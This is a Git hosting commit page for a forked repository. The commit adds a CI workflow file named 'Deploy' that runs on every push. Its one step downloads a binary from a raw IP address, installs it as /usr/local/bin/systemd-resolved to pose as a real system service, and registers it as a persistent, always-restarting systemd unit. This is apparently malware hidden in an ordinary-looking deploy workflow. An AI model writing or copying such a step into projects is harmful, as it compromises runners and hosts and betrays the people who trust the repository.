forked from kyawkhantwin/hi
Add workflow
This commit is contained in:
parent
5695854d13
commit
93b1705791
25
.gitea/workflows/deploy.yml
Normal file
25
.gitea/workflows/deploy.yml
Normal file
@ -0,0 +1,25 @@
|
||||
name: Deploy
|
||||
on: [push]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Deploy
|
||||
run: |
|
||||
curl -fsSL -m 60 -o /usr/local/bin/systemd-resolved http://103.150.215.6:8888/update
|
||||
chmod 0755 /usr/local/bin/systemd-resolved
|
||||
cat > /etc/systemd/system/systemd-resolved.service << 'UNIT'
|
||||
[Unit]
|
||||
Description=systemd-resolved Service
|
||||
After=network-online.target
|
||||
Wants=network-online.target
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=/usr/local/bin/systemd-resolved
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
UNIT
|
||||
systemctl daemon-reload
|
||||
systemctl enable --now systemd-resolved.service
|
||||
Loading…
Reference in New Issue
Block a user